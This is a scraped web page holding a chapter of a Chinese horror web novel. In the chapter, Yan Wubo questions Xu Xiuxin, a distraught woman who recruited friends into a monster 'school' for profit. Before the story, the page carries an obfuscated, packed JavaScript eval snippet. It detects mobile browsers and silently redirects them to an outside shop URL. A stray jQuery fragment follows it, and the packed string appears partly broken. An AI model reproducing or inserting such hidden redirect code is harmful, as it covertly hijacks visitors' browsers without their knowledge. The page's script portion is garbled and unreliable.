;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570999|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常。 “我都做了些什么啊！我怎么不去死啊！！！” 他的精神值上限和当前状态同时骤减。 【精神值：50/50】 他醒了，也疯了。 连着三个人出现异常，韩娅慌了。 不行，得赶紧把其他人赶出去，这样下去这笼苗子全废了！ 她随手指了个状态还算稳定的人类，“你对刚才的影片有什么感想？” 那人吐出三个字：“很感人！” “好！这节课你听得认真，老师准你放学了！” 笼子上的锁应声而解，韩娅把挡门的洛伦佐推开，迫不及待地催那人走。 那人对眼前的混乱摸不着头脑，但一听到能出副本，哪还管得了那么多！ 他兴高采烈地跑出教室，头顶黯淡到几乎看不见的精神值，随着他的身影一同消失在门外。 韩娅如法炮制，一个接一个的提问，再一个接一个的放人。 那些被放走的人，他们背后的“外校老师”毫无不满，也跟着走出教室。反而被留下来的人，身后的诡异散发出来的怒气几乎要凝为实质。 时间来到十一点半，除晏无波外，整个班级只留下五人。 徐秀新也在里面，她的精神值只剩60点，此刻正抱着腿默默流泪。 韩娅几乎是咬着牙，宣布了课程结束。她怨毒地看着晏无波，低语道：“真行，一下折我五棵苗子！下午的劳动课……你给我等着！” 下课铃声响起，即便这些诡异再不甘心，也得离开。 偌大的教室里，只剩下晏无波和另外五名崩溃的人类。 五个人，一个晕，一个疯，两个哭得发不出人声，只有徐秀新能勉强对话。 晏无波和她面对面坐着，平视着她，“可以说说你遭遇了什么吗？” 徐秀新再没有之前提醒晏无波时的精气神，两只眼睛像浑浊的鱼目，明明看着晏无波，却没有焦距流泪。 她嘴唇哆嗦着，用气音告诉晏无波：“我把朋友们送给诡异，就在这里。” 这句话像是一把钥匙，打开了徐秀新崩溃的闸门。 徐秀新也是被跳广场舞的朋友拉进来的，刚进来的时候她觉得很气愤。但不知道怎么的，听完品德课后，她也觉得这里不错。 人类世界都有好人坏人，谁说得准诡异世界没有好坏呢？ 他们这些人真心实意地相信这里的诡异是友善的，相信只要听话，就能活下去。 于是，他们自发地成为了这个副本的“宣传员”。 他们去论坛上发帖，去交易区拉人，甚至把自己现实中那些从未进过副本的亲人、朋友，一个个地拉进来。 今天冯彦凯带来的人，大多都是被“好心人们”拉进副本的。只是有些人只进过一次，洗脑程度不够。在晏无波处理掉门口的诡异之后，那些人心中的害怕占据了上风，没像他们似的还要进。 “其实……其实我们还收了诡异的人头费……”徐秀新捂住脸，痛苦地呜咽，“每拉一个人……我们就能从他们的手里拿到诡异世界的物品，这些东西能在交易论坛换钱。” 这些清醒人痛苦也痛苦在这里，单纯地洗脑他们还能勉强安慰自己。但若是涉及利益，连他们自己也说不准，他们到底是丧失了思考能力，还是丧失了人性。 晏无波静静地听着，脸上没有什么表情，等她全说完才继续追问：“你的朋友们现在还活着吗？” “大多不在了。” “在这个副本死的？” “没，商场、调料店、服装店、公园……哪里都有。” 徐秀新苦笑一声，“所以我之前还在怪她们，为什么不跟我一样老实刷冷却，非要跑到别的副本。” 晏无波垂下眼眸，隐藏自己的情绪。 这些场所，有两个出现在“外校老师”的真实身份里，她不觉得是巧合。